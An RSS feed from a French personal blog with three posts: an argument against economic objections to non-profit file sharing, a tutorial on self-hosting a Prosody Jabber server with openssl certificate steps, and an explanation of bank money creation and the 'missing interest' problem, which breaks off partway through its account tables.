<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>®om&#039;s blog</title>
	<atom:link href="http://blog.rom1v.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.rom1v.com</link>
	<description>Un blog libre</description>
	<lastBuildDate>Thu, 02 Feb 2012 20:03:59 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>L&#8217;argument économique contre le partage</title>
		<link>http://blog.rom1v.com/2012/01/largument-economique-contre-le-partage/</link>
		<comments>http://blog.rom1v.com/2012/01/largument-economique-contre-le-partage/#comments</comments>
		<pubDate>Sun, 29 Jan 2012 14:54:53 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Humeur]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[Réflexions]]></category>
		<category><![CDATA[dividende universel]]></category>
		<category><![CDATA[hadopi]]></category>
		<category><![CDATA[politique]]></category>
		<category><![CDATA[société]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=3735</guid>
		<description><![CDATA[Posons comme principe que le partage d&#8217;œuvres sur Internet sans but de profit ne doit en aucune manière être restreint. Quelles justifications peuvent amener à le rejeter&#160;? Il n&#8217;y en a qu&#8217;une, elle est économique&#160;: permettre aux auteurs d&#8217;être rémunérés. Effectivement, une offre illimitée, accessible à tous (grâce au partage), et un coût marginal nul [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2012/01/internet.png"><img src="http://blog.rom1v.com/wp-content/uploads/2012/01/internet.png" alt="" title="internet" width="128" height="128" class="alignright size-full wp-image-3737" /></a></p>
<p>Posons comme principe que <strong>le partage d&#8217;œuvres sur Internet sans but de profit ne doit en aucune manière être restreint</strong>. Quelles justifications peuvent amener à le rejeter&nbsp;?</p>
<p>Il n&#8217;y en a qu&#8217;une, elle est économique&nbsp;: permettre aux auteurs d&#8217;être rémunérés. Effectivement, une offre illimitée, accessible à tous (grâce au partage), et un <a href="http://fr.wikipedia.org/wiki/Co%C3%BBt_marginal">coût marginal</a> nul impliquent <strong>un prix nul</strong>. Il faudrait alors restaurer une certaine rareté afin de pouvoir vendre.</p>
<p>Mais par ailleurs, l&#8217;objectif de l&#8217;<a href="http://fr.wikipedia.org/wiki/Sciences_%C3%A9conomiques">économie</a>, c&#8217;est de <a href="http://fr.wikipedia.org/wiki/%C3%89quilibre_g%C3%A9n%C3%A9ral#Un_monde_marqu.C3.A9_par_la_raret.C3.A9_et_peupl.C3.A9_d.E2.80.99individus_rationnels">surmonter au mieux la rareté</a>. C&#8217;est là que la justification économique devient absurde&nbsp;: <strong>il s&#8217;agirait de restaurer une certaine rareté dans le but de résoudre un problème économique, alors que le but de l&#8217;économie est de résoudre les problèmes que pose la rareté</strong>. Ce serait lutter contre l&#8217;objectif afin de conserver ce contre quoi on lutte.</p>
<p>En clair, l&#8217;économie ne peut pas être une justification en soi, en dernier ressort, car elle ne s&#8217;applique qu&#8217;à la rareté. Tout ce qui est surabondant, non-rival, devrait être hors-marché. Sinon, il faudrait <a href="http://bastiat.org/fr/petition.html">interdire le soleil</a>.</p>
<p>Bien sûr, je ne dis pas qu&#8217;il faut supprimer l&#8217;économie&nbsp;; je dis juste qu&#8217;elle ne s&#8217;applique qu&#8217;aux domaines de rareté. Dans le cas limite où tout serait surabondant, n&#8217;appliquer l&#8217;économie qu&#8217;aux domaines de la rareté conduirait effectivement à la suppression totale de l&#8217;économie. Dans ce monde imaginaire, ce serait très logique&nbsp;: si chacun pouvait tout avoir sans effort, pourquoi restreindre l&#8217;accès aux biens en le conditionnant à une &laquo;&nbsp;rémunération&nbsp;&raquo; qui n&#8217;aurait alors aucun sens&nbsp;? Tout le monde y serait perdant.</p>
<p>Toute la difficulté est de vivre dans un monde composé à la fois de rareté et d&#8217;abondance. Et beaucoup tentent de restaurer la rareté partout uniquement pour faire fonctionner l&#8217;économie. Quel paradoxe&nbsp;!</p>
<h3>Solutions</h3>
<p>Ce billet a pour unique but de rejeter l&#8217;argument économique contre le partage sans but de profit, pas de conclure sur une solution définitive.</p>
<p>Selon moi, les solutions à envisager, quelles qu&#8217;elles soient, doivent respecter le principe que nous avons posé.</p>
<p>C&#8217;est le cas de la <a href="http://paigrain.debatpublic.net/?p=4053">contribution créative</a> (ou <a href="http://fr.wikipedia.org/wiki/Licence_globale">licence globale</a>). Mais cette proposition amène quelques critiques (<a href="http://partipirate.org/blog/com.php?id=1417">ici</a> et <a href="http://blog.romainriviere.fr/2011/06/il-faut-rejeter-la-licence-globale/">là</a> par exemple).</p>
<p>Pour ma part, vous le savez, je suis convaincu que le financement de la création est un cas particulier d&#8217;un problème plus général, dont (au moins une partie de) la solution est le <a href="http://blog.rom1v.com/2011/02/dividende-universel-un-enjeu-majeur-de-societe/">dividende universel</a>.</p>
<h3>Billets en relation</h3>
<ul>
<li><a href="http://blog.rom1v.com/2010/08/piratage-ou-usage-commun/">Piratage ou usage commun&nbsp;?</a></li>
<li><a href="http://blog.rom1v.com/2011/06/labondance-contre-leconomie/">L&#8217;abondance contre l&#8217;économie</a>.</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2012/01/largument-economique-contre-le-partage/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Héberger un serveur Jabber simplement (prosody)</title>
		<link>http://blog.rom1v.com/2012/01/heberger-un-serveur-jabber-simplement-prosody/</link>
		<comments>http://blog.rom1v.com/2012/01/heberger-un-serveur-jabber-simplement-prosody/#comments</comments>
		<pubDate>Fri, 06 Jan 2012 22:12:58 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Outils]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[auto-hébergement]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[jabber]]></category>
		<category><![CDATA[réseau]]></category>
		<category><![CDATA[serveur]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=3696</guid>
		<description><![CDATA[J&#8217;ai enfin décidé d&#8217;héberger mon propre serveur Jabber, pour plusieurs raisons&#160;: la liste de mes contacts est mieux sur mon serveur que sur un autre&#160;; le serveur que j&#8217;utilisais (jabber.fr) rencontre parfois quelques difficultés&#160;; mon adresse Jabber sera ainsi la même que mon adresse mail (rom suivi de @rom1v.com). Et c&#8217;est simple&#160;! Installation et configuration [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2012/01/jabber.png"><img src="http://blog.rom1v.com/wp-content/uploads/2012/01/jabber.png" alt="" title="jabber" width="133" height="200" class="alignright size-full wp-image-3707" /></a></p>
<p>J&#8217;ai enfin décidé d&#8217;héberger mon propre serveur <a href="http://www.jabberfr.org/">Jabber</a>, pour plusieurs raisons&nbsp;:</p>
<ul>
<li>la liste de mes contacts est mieux sur mon serveur que sur un autre&nbsp;;</li>
<li>le serveur que j&#8217;utilisais (<a href="http://jabber.apinc.org/">jabber.fr</a>) rencontre parfois quelques difficultés&nbsp;;</li>
<li>mon adresse <em>Jabber</em> sera ainsi la même que <a href="http://blog.rom1v.com/2009/08/hebergez-vos-mails-sur-ubuntu-server-et-liberez-vous/">mon adresse mail</a> (<code>rom</code> suivi de <code>@rom1v.com</code>).</li>
</ul>
<p>Et c&#8217;est simple&nbsp;!</p>
<h3>Installation et configuration</h3>
<p>Tout d&#8217;abord, installer le paquet <code>prosody</code>&nbsp;:</p>
<pre>apt-get install prosody</pre>
<p>Puis ajouter à la fin du fichier <code>/etc/prosody/prosody.cfg.lua</code>&nbsp;:</p>
<pre>Host "<em>nom.de.domaine</em>"</pre>
<p>Pour moi&nbsp;:</p>
<pre>Host "rom1v.com"</pre>
<p>Créer un utilisateur en ligne de commandes et choisir un mot de passe&nbsp;:</p>
<pre>prosodyctl adduser <em>user</em>@<em>nom.de.domaine</em></pre>
<h3>Certificat</h3>
<p>Un <a href="http://fr.wikipedia.org/wiki/Certificat_%C3%A9lectronique#Certificat">certificat</a> TLS/SSL est créé par défaut, mais les champs sont renseignés avec des valeurs non pertinentes (<em>localhost</em> au lieu de <em>nom.de.domaine</em> par exemple). Il est donc préférable d&#8217;en <a href="http://prosody.im/doc/advanced_ssl_tls">générer un nouveau</a>.</p>
<p>Dans le répertoire <code>/etc/prosody/certs</code>, exécuter&nbsp;:</p>
<pre>openssl req -new -x509 -nodes -out <em>nom.de.domaine</em>.cert -keyout <em>nom.de.domaine</em>.key</pre>
<p>Renseigner les champs demandés <em>(«&nbsp;<code>.</code>&nbsp;» pour laisser un champ vide)</em>.</p>
<p>Remplacer le certificat dans le fichier de configuration&nbsp;:</p>
<pre>ssl = {
        key = "/etc/prosody/certs/<em>nom.de.domaine</em>.key";
        certificate = "/etc/prosody/certs/<em>nom.de.domaine</em>.cert";
}</pre>
<h4>Empreinte</h4>
<p>Comme c&#8217;est un certificat auto-signé, les clients <em>Jabber</em> ne lui feront pas confiance&nbsp;: ils demanderont une confirmation, en présentant son empreinte. Il faudra alors vérifier que le certificat présenté est bien le bon, c&#8217;est-à-dire que l&#8217;empreinte est la même.</p>
<p>Pour la connaître&nbsp;:</p>
<pre>openssl x509 -fingerprint -noout -in <em>nom.de.domaine</em>.cert</pre>
<p>Par exemple&nbsp;:</p>
<pre>$ openssl x509 -fingerprint -noout -in rom1v.com.cert
SHA1 Fingerprint=C3:6D:9B:65:06:55:C4:84:B4:A5:8D:4B:12:68:2F:08:71:7E:AC:DD</pre>
<h3>Ports</h3>
<p>Les <a href="http://fr.wikipedia.org/wiki/Liste_des_ports_logiciels">ports</a> TCP 5222 et 5269 <a href="http://www.accessgrid.org/agdp/guide/ports/1.03/x112.html">doivent être ouverts</a>.</p>
<h3>Démarrer</h3>
<p>Il ne reste plus qu&#8217;à démarrer le service.</p>
<pre>service prosody start</pre>
<h3>Clients</h3>
<p>Il est maintenant possible de se connecter en utilisant le nom d&#8217;utilisateur et le mot de passe créés&nbsp;:</p>
<p><a href="http://blog.rom1v.com/wp-content/uploads/2012/01/empathy.png"><img src="http://blog.rom1v.com/wp-content/uploads/2012/01/empathy-300x179.png" alt="" title="empathy" width="300" height="179" class="aligncenter size-medium wp-image-3697" /></a></p>
<h3>Backup</h3>
<p>Les données du serveur sont stockées dans <code>/var/lib/prosody</code>. Il est donc important de ne pas oublier ce répertoire dans le processus de <a href="http://fr.wikipedia.org/wiki/Sauvegarde">sauvegarde</a>.</p>
<p><em>Merci à <a href="http://www.cyrille-borne.com/index.php?post/2011/01/13/Faire-son-serveur-jabber-personnel-en-moins-de-5-minutes">Cyrille Borne</a> et <a href="http://blog.nicolargo.com/2011/01/un-serveur-jabber-en-5-minutes-chronos-sous-debianubuntu.html">nicolargo</a>.</em></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2012/01/heberger-un-serveur-jabber-simplement-prosody/feed/</wfw:commentRss>
		<slash:comments>19</slash:comments>
		</item>
		<item>
		<title>Comprendre le mystère de l&#8217;argent et le problème des intérêts manquants</title>
		<link>http://blog.rom1v.com/2011/12/comprendre-le-mystere-de-largent-et-le-probleme-des-interets-manquants/</link>
		<comments>http://blog.rom1v.com/2011/12/comprendre-le-mystere-de-largent-et-le-probleme-des-interets-manquants/#comments</comments>
		<pubDate>Sat, 03 Dec 2011 14:23:01 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Analyses]]></category>
		<category><![CDATA[dividende universel]]></category>
		<category><![CDATA[monnaie]]></category>
		<category><![CDATA[politique]]></category>
		<category><![CDATA[société]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=3410</guid>
		<description><![CDATA[Peu avant 1940, Louis Even a écrit une célèbre robinsonade pour comprendre le mystère de l&#8217;argent&#160;: L&#8217;île des naufragés. Si vous ne la connaissez pas encore, je vous conseille de la lire avant de poursuivre. À cette époque, la monnaie était basée sur l&#8217;or, mais ça ne change pas fondamentalement le problème. Ses écrits sont [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/12/money.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/money.png" alt="" title="money" width="128" height="73" class="alignright size-full wp-image-3657" /></a></p>
<p>Peu avant 1940, <a href="http://fr.wikipedia.org/wiki/Louis_Even">Louis Even</a> a écrit une célèbre <a href="http://fr.wikipedia.org/wiki/Robinsonade">robinsonade</a> pour <em>comprendre le mystère de l&#8217;argent</em>&nbsp;: <a href="http://www.michaeljournal.org/ilenauf.htm">L&#8217;île des naufragés</a>.</p>
<p><em>Si vous ne la connaissez pas encore, je vous conseille de la lire avant de poursuivre. À cette époque, la monnaie était basée sur l&#8217;or, mais ça ne change pas fondamentalement le problème. Ses écrits sont parfois très imprégnés de religion, aussi faut-il faire preuve de discernement.</em></p>
<p>Cette fable met en évidence l&#8217;injustice du système monétaire, dans lequel l&#8217;argent est créé par le crédit (<a href="http://blog.rom1v.com/2011/05/linjustice-monetaire/">j&#8217;en ai déjà parlé</a>).</p>
<h3>Création monétaire par le crédit</h3>
<p>Commençons par un petit rappel, grâce à <a href="http://www.internetactu.net/2010/11/30/linnovation-monetaire-25-comment-se-cree-la-monnaie/">un résumé du fonctionnement de la création monétaire</a>&nbsp;:</p>
<blockquote><p><strong>3. La création de monnaie en échange d’une promesse</strong></p>
<p>Comment se créent alors les plus de 90 % restants de monnaie qui circulent sur la planète ?</p>
<p>Cette part de monnaie est créée par un mécanisme peu connu et étonnant : par le simple fait que vous signiez une demande de prêt à la banque, vous reconnaissez que vous rembourserez cette somme (ou qu’à défaut vous serez saisis sur vos biens pour un montant équivalent à cette valeur). <strong>Les banques créent alors purement et simplement cette somme</strong> par une simple opération d’écriture, et elles le déposent sur votre compte. Cet argent est ensuite détruit au fur et à mesure du remboursement de la dette. L’argent créé est qualifié de monnaie scripturale : de l’argent créé par un jeu d’écriture…</p>
<p>Plus de 90 % de l’argent disponible sur la planète est ainsi constitué des dettes en cours auprès des banques. Les banques maîtrisent donc plus de 90 % des moyens de paiement qui permettent les échanges entre les hommes.</p></blockquote>
<p>Pour un peu plus de détails&nbsp;: <a href="http://www.societal.org/monnaie/creationmonnaiepourlesnuls.pdf">La création monétaire pour les nuls (pdf)</a>.</p>
<h3>Intérêts manquants</h3>
<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/12/interest.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/interest.png" alt="" title="interest" width="128" height="99" class="alignright size-full wp-image-3658" /></a><br />
Revenons à notre <em>île des naufragés</em>.</p>
<p>Cet extrait d&#8217;un <a href="http://www.michaeljournal.org/Larkin_fr.pdf">texte de James Crate Larkin</a> résume bien un élément important de la thèse de l&#8217;auteur&nbsp;:</p>
<blockquote cite="http://www.michaeljournal.org/Larkin_fr.pdf"><p>La dette ne peut jamais s’éteindre sous un tel système, parce que tout argent mis en circulation l’est par des prêts bancaires et que l’emprunteur doit rembourser plus que le montant reçu. Il doit rembourser le principal, créé par le banquier, plus l’intérêt créé par personne ! … Le procédé est cumulatif — la dette grossit toujours, parce que, pour payer l’intérêt, il faut nécessairement quelque part une nouvelle alimentation de monnaie, et cette nouvelle émission est elle-même porteuse d’intérêt. Comment la dette serait-elle remboursable ?</p></blockquote>
<p>C&#8217;est le problème des «&nbsp;<em>intérêts manquants</em>&nbsp;»&nbsp;: si seul l&#8217;argent correspondant au principal est créé, comment rembourser les intérêts&nbsp;? Cet argument, s&#8217;il est vrai, ne dénonce pas seulement une <em>injustice</em>, il met en évidence une parfaite <em>impossibilité</em>&nbsp;: il n&#8217;existe <strong>aucun moyen</strong> pour la population de rembourser toutes ses dettes envers la banque, puisqu&#8217;il n&#8217;y a pas assez d&#8217;argent en circulation.</p>
<h3>Réfutation&nbsp;?</h3>
<p>Cependant, certains critiquent la fable et prétendent en <a href="http://gidmoz.wordpress.com/2011/05/29/lile-des-naufrages-refutation/">fournir une réfutation</a>, dont l&#8217;argument central peut se formuler ainsi&nbsp;: <em>il existe au moins un moyen pour la population de rembourser toutes ses dettes envers la banque, il faut considérer que le banquier va dépenser les intérêts dans l&#8217;économie</em>.</p>
<p>Et sur ce point, ils ont raison. Il est <em>possible</em> de trouver une suite d&#8217;échanges entre les individus permettant à la population de rembourser toutes ses dettes&nbsp;: la banque <em>peut</em> dépenser les intérêts perçus au fur et à mesure, permettant ainsi à la population de les <em>regagner</em>.</p>
<p>Voici un exemple avec 3 individus&nbsp;:</p>
<ul>
<li><strong>B</strong>&nbsp;: le banquier</li>
<li><strong>X</strong>&nbsp;: un boulanger</li>
<li><strong>Y</strong>&nbsp;: un producteur de pommes</li>
</ul>
<h4>État initial</h4>
<p>Au départ, tous les comptes sont à zéro.</p>
<div style="text-align:center">
<table style="width:700px;margin:0px auto">
<tr>
<th style="width:60px;text-align:center">Individu</th>
<th style="width:60px;text-align:center">Compte</th>
<th style="width:280px">Dettes</th>
<th style="width:300px;text-align:right">Produits</th>
</tr>
<tr>
<th style="text-align:center"><strong>B</strong></th>
<td style="text-align:center">0</td>
<td></td>
<td></td>
</tr>
<tr>
<th style="text-align:center"><strong>X</strong></th>
<td style="text-align:center">0</td>
<td></td>
<td style="text-align:right;vertical-align:middle">
            <img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" />
        </td>
</tr>
<tr>
<th style="text-align:center"><strong>Y</strong></th>
<td style="text-align:center">0</td>
<td></td>
<td style="text-align:right;vertical-align:middle">
            <img src="http://blog.rom1v.com/wp-content/uploads/2011/12/apple.png" alt="" title="apple" width="32" height="32" style="border:none;padding:0px" class="wp-image-3547" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/apple.png" alt="" title="apple" width="32" height="32" style="border:none;padding:0px" class="wp-image-3547" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/apple.png" alt="" title="apple" width="32" height="32" style="border:none;padding:0px" class="wp-image-3547" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/apple.png" alt="" title="apple" width="32" height="32" style="border:none;padding:0px" class="wp-image-3547" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/apple.png" alt="" title="apple" width="32" height="32" style="border:none;padding:0px" class="wp-image-3547" />
        </td>
</tr>
</table>
</div>
<h4>Étape 1</h4>
<p>X souhaite acheter des pommes à Y, pour un montant de 5.<br />
Il emprunte donc 5 à B, qui les crée, pour une période donnée (plusieurs années). B demandera des intérêts, disons 40%. En tout, X devra donc rembourser 7.</p>
<div style="text-align:center">
<table style="width:700px;margin:0px auto">
<tr>
<th style="width:60px;text-align:center">Individu</th>
<th style="width:60px;text-align:center">Compte</th>
<th style="width:280px">Dettes</th>
<th style="width:300px;text-align:right">Produits</th>
</tr>
<tr>
<th style="text-align:center"><strong>B</strong></th>
<td style="text-align:center">0</td>
<td>
<ul style="margin:0px 10px">
<li><strong>X me doit 5</strong></li>
<li><strong>je dois 5 à X</strong></li>
<li><strong><em>X me doit 2 (intérêts)</em></strong><strong></strong></li>
</ul>
</td>
<td></td>
</tr>
<tr>
<th style="text-align:center"><strong>X</strong></th>
<td style="text-align:center"><strong>5</strong></td>
<td>
<ul style="margin:0px 10px">
<li><strong>B me doit 5</strong></li>
<li><strong>je dois 5 à B</strong></li>
<li><strong><em>je dois 2 à B (intérêts)</em></strong></li>
</ul>
</td>
<td style="text-align:right;vertical-align:middle">
            <img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" />
        </td>
</tr>
<tr>
<th style="text-align:center"><strong>Y</strong></th>
<td style="text-align:center">0</td>
<td></td>
<td style="text-align:right">
            <img src="http://blog.rom1v.com/wp-content/uploads/2011/12/apple.png" alt="" title="apple" width="32" height="32" style="border:none;padding:0px" class="wp-image-3547" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/apple.png" alt="" title="apple" width="32" height="32" style="border:none;padding:0px" class="wp-image-3547" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/apple.png" alt="" title="apple" width="32" height="32" style="border:none;padding:0px" class="wp-image-3547" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/apple.png" alt="" title="apple" width="32" height="32" style="border:none;padding:0px" class="wp-image-3547" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/apple.png" alt="" title="apple" width="32" height="32" style="border:none;padding:0px" class="wp-image-3547" />
        </td>
</tr>
</table>
</div>
<h4>Étape 2</h4>
<p>X peut maintenant acheter des pommes à Y.</p>
<div style="text-align:center">
<table style="width:700px;margin:0px auto">
<tr>
<th style="width:60px;text-align:center">Individu</th>
<th style="width:60px;text-align:center">Compte</th>
<th style="width:280px">Dettes</th>
<th style="width:300px;text-align:right">Produits</th>
</tr>
<tr>
<th style="text-align:center"><strong>B</strong></th>
<td style="text-align:center">0</td>
<td>
<ul style="margin:0px 10px">
<li>X me doit 5</li>
<li><strong>je dois 5 à Y</strong></li>
<li><em>X me doit 2 (intérêts)</em></li>
</ul>
</td>
<td></td>
</tr>
<tr>
<th style="text-align:center"><strong>X</strong></th>
<td style="text-align:center"><strong>0</strong></td>
<td>
<ul style="margin:0px 10px">
<li>je dois 5 à B</li>
<li><em>je dois 2 à B (intérêts)</em></li>
</ul>
</td>
<td style="text-align:right;vertical-align:middle">
            <img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" /><br />
            <img src="http://blog.rom1v.com/wp-content/uploads/2011/12/apple.png" alt="" title="apple" width="32" height="32" style="border:none;padding:0px" class="wp-image-3547" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/apple.png" alt="" title="apple" width="32" height="32" style="border:none;padding:0px" class="wp-image-3547" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/apple.png" alt="" title="apple" width="32" height="32" style="border:none;padding:0px" class="wp-image-3547" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/apple.png" alt="" title="apple" width="32" height="32" style="border:none;padding:0px" class="wp-image-3547" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/apple.png" alt="" title="apple" width="32" height="32" style="border:none;padding:0px" class="wp-image-3547" />
        </td>
</tr>
<tr>
<th style="text-align:center"><strong>Y</strong></th>
<td style="text-align:center"><strong>5</strong></td>
<td>
<ul style="margin:0px 10px">
<li><strong>B me doit 5</strong></li>
</ul>
</td>
<td></td>
</tr>
</table>
</div>
<p><em>Nous nous rendons bien compte ici que <strong>la monnaie n&#8217;est qu&#8217;une dette de banque qui circule</strong>.</em></p>
<h4>Étape 3</h4>
<p>Y décide d&#8217;acheter des baguettes à X, pour un montant de 5.</p>
<div style="text-align:center">
<table style="width:700px;margin:0px auto">
<tr>
<th style="width:60px;text-align:center">Individu</th>
<th style="width:60px;text-align:center">Compte</th>
<th style="width:280px">Dettes</th>
<th style="width:300px;text-align:right">Produits</th>
</tr>
<tr>
<th style="text-align:center"><strong>B</strong></th>
<td style="text-align:center">0</td>
<td>
<ul style="margin:0px 10px">
<li>X me doit 5</li>
<li><strong>je dois 5 à X</strong></li>
<li><em>X me doit 2 (intérêts)</em></li>
</ul>
</td>
<td></td>
</tr>
<tr>
<th style="text-align:center"><strong>X</strong></th>
<td style="text-align:center"><strong>5</strong></td>
<td>
<ul style="margin:0px 10px">
<li><strong>B me doit 5</strong></li>
<li>je dois 5 à B</li>
<li><em>je dois 2 à B (intérêts)</em></li>
</ul>
</td>
<td style="text-align:right;vertical-align:middle">
            <img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/apple.png" alt="" title="apple" width="32" height="32" style="border:none;padding:0px" class="wp-image-3547" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/apple.png" alt="" title="apple" width="32" height="32" style="border:none;padding:0px" class="wp-image-3547" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/apple.png" alt="" title="apple" width="32" height="32" style="border:none;padding:0px" class="wp-image-3547" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/apple.png" alt="" title="apple" width="32" height="32" style="border:none;padding:0px" class="wp-image-3547" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/apple.png" alt="" title="apple" width="32" height="32" style="border:none;padding:0px" class="wp-image-3547" />
        </td>
</tr>
<tr>
<th style="text-align:center"><strong>Y</strong></th>
<td style="text-align:center"><strong>0</strong></td>
<td></td>
<td style="text-align:right;vertical-align:middle">
            <img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" />
        </td>
</tr>
</table>
</div>
<p><em>Les comptes se retrouvent exactement dans la même situation qu&#8217;à l&#8217;étape 1.</em></p>
<h4>Étape 4</h4>
<p>X rembourse les intérêts à B, d&#8217;un montant de 2.</p>
<div style="text-align:center">
<table style="width:700px;margin:0px auto">
<tr>
<th style="width:60px;text-align:center">Individu</th>
<th style="width:60px;text-align:center">Compte</th>
<th style="width:280px">Dettes</th>
<th style="width:300px;text-align:right">Produits</th>
</tr>
<tr>
<th style="text-align:center"><strong>B</strong></th>
<td style="text-align:center"><strong>2</strong></td>
<td>
<ul style="margin:0px 10px">
<li>X me doit 5</li>
<li><strong>je dois 3 à X</strong></li>
</ul>
</td>
<td></td>
</tr>
<tr>
<th style="text-align:center"><strong>X</strong></th>
<td style="text-align:center"><strong>3</strong></td>
<td>
<ul style="margin:0px 10px">
<li><strong>B me doit 3</strong></li>
<li>je dois 5 à B</li>
</ul>
</td>
